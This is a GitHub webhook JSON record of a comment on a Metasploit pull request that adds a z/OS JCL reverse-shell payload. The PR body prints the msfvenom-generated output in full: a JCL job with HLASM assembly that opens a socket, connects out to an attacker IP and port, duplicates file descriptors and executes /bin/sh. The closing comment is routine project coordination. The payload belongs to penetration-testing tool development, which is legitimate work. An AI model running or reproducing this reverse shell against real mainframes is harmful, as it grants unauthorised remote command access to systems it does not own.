{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6737","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6737/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6737/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6737/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6737","id":145064932,"number":6737,"title":"Revshell cmd JCL payload for z/OS","user":{"login":"bigendiansmalls","id":13771080,"avatar_url":"https://avatars.githubusercontent.com/u/13771080?v=3","gravatar_id":"","url":"https://api.github.com/users/bigendiansmalls","html_url":"https://github.com/bigendiansmalls","followers_url":"https://api.github.com/users/bigendiansmalls/followers","following_url":"https://api.github.com/users/bigendiansmalls/following{/other_user}","gists_url":"https://api.github.com/users/bigendiansmalls/gists{/gist_id}","starred_url":"https://api.github.com/users/bigendiansmalls/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bigendiansmalls/subscriptions","organizations_url":"https://api.github.com/users/bigendiansmalls/orgs","repos_url":"https://api.github.com/users/bigendiansmalls/repos","events_url":"https://api.github.com/users/bigendiansmalls/events{/privacy}","received_events_url":"https://api.github.com/users/bigendiansmalls/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2016-04-01T02:05:18Z","updated_at":"2016-04-01T14:02:55Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6737","html_url":"https://github.com/rapid7/metasploit-framework/pull/6737","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6737.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6737.patch"},"body":"#### Mainframe (z/OS) JCL cmd reverse shell payload\r\n\r\n* This payload, when executed on a target system as JCL, will generate a reverse shell that can interact with the mainframe shell handler in metasploit.   \r\n\r\n* The source code for the reverse shell itself is the same as the source code used for the shell code based mainframe reverse shell payload (payload/mainframe/shell_reverse_tcp), found in external/source/shellcode/mainframe/shell_reverse_tcp.s\r\n\r\n* Minimal verification / test added to spec/modules/payloads_spec.rb\r\n\r\n##### Testing the module with MSFVENOM should yield the following:\r\n```\r\n$ ./msfvenom -p cmd/mainframe/reverse_shell_jcl LHOST=222.173.190.239  LPORT=12345\r\nNo platform was selected, choosing Msf::Module::Platform::Mainframe from the payload\r\nNo Arch selected, selecting Arch: cmd from the payload\r\nNo encoder or badchars specified, outputting raw payload\r\nPayload size: 9001 bytes\r\n//REVSHL JOB (USER),'Reverse shell jcl',\r\n//   NOTIFY=&SYSUID,\r\n//   MSGCLASS=H,\r\n//   MSGLEVEL=(1,1),\r\n//   REGION=0M\r\n//**************************************/\r\n//* Generates reverse shell            */\r\n//**************************************/\r\n//*\r\n//STEP1     EXEC PROC=ASMACLG\r\n//SYSIN     DD  *,DLM=ZZ\r\n         TITLE  'z/os Reverse Shell'\r\nNEWREV   CSECT\r\nNEWREV   AMODE 31\r\nNEWREV   RMODE 31\r\n***********************************************************************\r\n*         SETUP registers and save areas                              *\r\n***********************************************************************\r\nMAIN     LR    7,15            # R7 is base register\r\n         NILH  7,X'1FFF'       # ensure local address\r\n         USING MAIN,0          # R8 for addressability\r\n         DS    0H              # halfword boundaries\r\n         LA    1,ZEROES(7)     # address byond which should be all 0s\r\n         XC    0(204,1),0(1)   # clear zero area\r\n         LA    13,SAVEAREA(7)  # address of save area\r\n         LHI   8,8             # R8 has static 8\r\n         LHI   9,1             # R9 has static 1\r\n         LHI   10,2            # R10 has static 2\r\n\r\n***********************************************************************\r\n*        BPX1SOC set up socket                                        *\r\n***********************************************************************\r\nBSOC     LA    0,@@F1(7)       # USS callable svcs socket\r\n         LA    3,8             # n parms\r\n         LA    5,DOM(7)        # Relative addr of First parm\r\n         ST    10,DOM(7)       # store a 2 for AF_INET\r\n         ST     9,TYPE(7)      # store a 1 for sock_stream\r\n         ST     9,DIM(7)       # store a 1 for dim_sock\r\n         LA    15,CLORUN(7)    # address of generic load & run\r\n         BASR  14,15           # Branch to load & run\r\n\r\n***********************************************************************\r\n*        BPX1CON (connect) connect to rmt host                        *\r\n***********************************************************************\r\nBCON     L     5,CLIFD(7)      # address of client file descriptor\r\n         ST    5,CLIFD2(7)     # store for connection call\r\n***  main processing **\r\n         LA    1,SSTR(7)       # packed socket string\r\n         LA    5,CLIFD2(7)     # dest for our sock str\r\n         MVC   7(9,5),0(1)     # mv packed skt str to parm array\r\n         LA    0,@@F2(7)       # USS callable svcs connect\r\n         LA    3,6             # n parms for func call\r\n         LA    5,CLIFD2(7)     # src parm list addr\r\n         LA    15,CLORUN(7)    # address of generic load & run\r\n         BASR  14,15           # Branch to load & run\r\n\r\n*************************************************\r\n* Preparte the child pid we'll spawn            *\r\n*  0) Dupe all 3 file desc of CLIFD             *\r\n*  1) dupe parent read fd to std input          *\r\n*************************************************\r\n         LHI   11,2            # Loop Counter R11=2\r\n@LOOP1   BRC   15,LFCNTL       # call FCNTL for each FD(in,out,err)\r\n@RET1    AHI   11,-1           # Decrement R11\r\n         CIJ   11,-1,7,@LOOP1  # if R11 >= 0, loop\r\n\r\n***********************************************************************\r\n*        BPX1EXC (exec) execute /bin/sh                               *\r\n***********************************************************************\r\nLEXEC    LA    1,EXCPRM1(7)    # top of arg list\r\n******************************************\r\n****  load array of addr and constants ***\r\n******************************************\r\n         ST    10,EXARG1L(7)   # arg 1 len is 2\r\n         LA    2,EXARG1L(7)    # addr of len of arg1\r\n         ST    2,16(0,1)       # arg4 Addr of Arg Len Addrs\r\n         LA    2,EXARG1(7)     # addr of arg1\r\n         ST    2,20(0,1)       # arg5 Addr of Arg Addrs\r\n         ST    9,EXARGC(7)     # store 1 in ARG Count\r\n**************************************************************\r\n*** call the exec function the normal way ********************\r\n**************************************************************\r\n         LA    0,@@EX1(7)      # USS callable svcs EXEC\r\n         LA    3,13            # n parms\r\n         LA    5,EXCPRM1(7)    # src parm list addr\r\n         LA    15,CLORUN(7)    # address of generic load & run\r\n         BASR  14,15           # Branch to load & run\r\n\r\n***********************************************************************\r\n*** BPX1FCT (fnctl) Edit our file descriptor **************************\r\n***********************************************************************\r\nLFCNTL   LA    0,@@FC1(7)      # USS callable svcs FNCTL\r\n         ST    8,@ACT(7)       # 8 is our dupe2 action\r\n         L     5,CLIFD(7)      # client file descriptor\r\n         ST    5,@FFD(7)       # store as fnctl argument\r\n         ST    11,@ARG(7)      # fd to clone\r\n         LA    3,6             # n parms\r\n         LA    5,@FFD(7)       # src parm list addr\r\n         LA    15,CLORUN(7)    # address of generic load & run\r\n         BASR  14,15           # Branch to load & run\r\n         BRC   15,@RET1        # Return to caller\r\n\r\n***********************************************************************\r\n*  LOAD and run R0=func name, R3=n parms                              *\r\n*     R5 = src parm list                                              *\r\n***********************************************************************\r\nCLORUN   ST    14,8(,13)       # store ret address\r\n         XR    1,1             # zero R1\r\n         SVC   8               # get func call addr for R0\r\n         ST    0,12(13)        # Store returned addr in our SA\r\n         L     15,12(13)       # Load func addr into R15\r\n         LHI   6,20            # offset from SA of first parm\r\n         LA    1,0(6,13)       # start of dest parm list\r\n@LOOP2   ST    5,0(6,13)       # store parms address in parm\r\n         AHI   3,-1            # decrement # parm\r\n         CIJ   3,11,8,@FIX     #  haky fix for EXEC func\r\n@RETX    AHI   6,4             # increment dest parm addr\r\n         AHI   5,4             # increment src parm addr\r\n         CIJ   3,0,7,@LOOP2    # loop until R3 = 0\r\n         LA    5,0(6,13)\r\n         AHI   5,-4\r\n         OI    0(5),X'80'      # last parm first bit high\r\n@FIN1    BALR  14,15           # call function\r\n         L     14,8(,13)       # set up return address\r\n         BCR   15,14           # return to caller\r\n@FIX     AHI    5,4            # need extra byte skipped for exec\r\n         BRC   15,@RETX\r\n\r\n***********************************************************************\r\n*        Arg Arrays, Constants and Save Area                          *\r\n***********************************************************************\r\n         DS    0F\r\n*************************\r\n****  Func Names     ****\r\n*************************\r\n@@F1     DC    CL8'BPX1SOC '\r\n@@F2     DC    CL8'BPX1CON '\r\n@@EX1    DC    CL8'BPX1EXC '   # callable svcs name\r\n@@FC1    DC    CL8'BPX1FCT '\r\n*        # BPX1EXC Constants\r\nEXARG1   DC    CL2'sh'         # arg 1 to exec\r\n*        # BPX1CON Constants\r\nSSTR     DC    X'1002023039deadbeef'\r\n*        # BPX1EXC Arguments\r\nEXCPRM1  DS    0F              # actual parm list of exec call\r\nEXCMDL   DC    F'7'            # len of cmd to exec\r\nEXCMD    DC    CL7'/bin/sh'    # command to exec\r\n*********************************************************************\r\n******* Below this line is filled in runtime, but at compile ********\r\n******* is all zeroes, so it can be dropped from the shell- *********\r\n******* code as it will be dynamically added back and the ***********\r\n******* offsets are already calulated in the code *******************\r\n*********************************************************************\r\nZEROES   DS    0F              # 51 4 byte slots\r\nEXARGC   DC    F'0'            # num of arguments\r\nEXARGS   DC    10XL4'00000000' # reminaing exec args\r\nEXARG1L  DC    F'0'            # arg1 length\r\n*        # BPX1FCT Arguments\r\n@FFD     DC    F'0'            # file descriptor\r\n@ACT     DC    F'0'            # fnctl action\r\n@ARG     DC    F'0'            # argument to fnctl\r\n@RETFD   DC    F'0'            # fd return\r\nFR1      DC    F'0'            # rtn code\r\nFR2      DC    F'0'            # rsn code\r\n*        # BPX1SOC Arguments\r\nDOM      DC    F'0'            # AF_INET = 2\r\nTYPE     DC    F'0'            # sock stream = 1\r\nPROTO    DC    F'0'            # protocol ip = 0\r\nDIM      DC    F'0'            # dim_sock = 1\r\nCLIFD    DC    F'0'            # client file descriptor\r\nSR1      DC    F'0'            # rtn val\r\nSR2      DC    F'0'            # rtn code\r\nSR3      DC    F'0'            # rsn code\r\n*        # BPX1CON Arguments\r\nCLIFD2   DC    F'0'            # CLIFD\r\nSOCKLEN  DC    F'0'            # length of Sock Struct\r\nSRVSKT   DC    XL2'0000'       # srv socket struct\r\n         DC    XL2'0000'       # port\r\n         DC    XL4'00000000'   # RHOST 0.0.0.0\r\nCR1      DC    F'0'            # rtn val\r\nCR2      DC    F'0'            # rtn code\r\nCR3      DC    F'0'            # rsn code\r\nSAVEAREA DC    18XL4'00000000' # save area for pgm mgmt\r\nEOFMARK  DC    X'deadbeef'     # eopgm marker for shellcode\r\n         END   MAIN\r\nZZ\r\n//*\r\n```\r\n\r\nNotes:\r\n* The next PR will have an FTP-based cmd exploit that uses this payload"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/204407552","html_url":"https://github.com/rapid7/metasploit-framework/pull/6737#issuecomment-204407552","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6737","id":204407552,"user":{"login":"bigendiansmalls","id":13771080,"avatar_url":"https://avatars.githubusercontent.com/u/13771080?v=3","gravatar_id":"","url":"https://api.github.com/users/bigendiansmalls","html_url":"https://github.com/bigendiansmalls","followers_url":"https://api.github.com/users/bigendiansmalls/followers","following_url":"https://api.github.com/users/bigendiansmalls/following{/other_user}","gists_url":"https://api.github.com/users/bigendiansmalls/gists{/gist_id}","starred_url":"https://api.github.com/users/bigendiansmalls/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bigendiansmalls/subscriptions","organizations_url":"https://api.github.com/users/bigendiansmalls/orgs","repos_url":"https://api.github.com/users/bigendiansmalls/repos","events_url":"https://api.github.com/users/bigendiansmalls/events{/privacy}","received_events_url":"https://api.github.com/users/bigendiansmalls/received_events","type":"User","site_admin":false},"created_at":"2016-04-01T14:02:55Z","updated_at":"2016-04-01T14:02:55Z","body":"Hey @bcook-r7 ...  This might be a good time to discuss what makes the most sense go forward.  RD&T is one good place to start - there may be other options too.   When you've a minute, maybe we + anyone else that is interested could have a quick chat on IRC.   "}}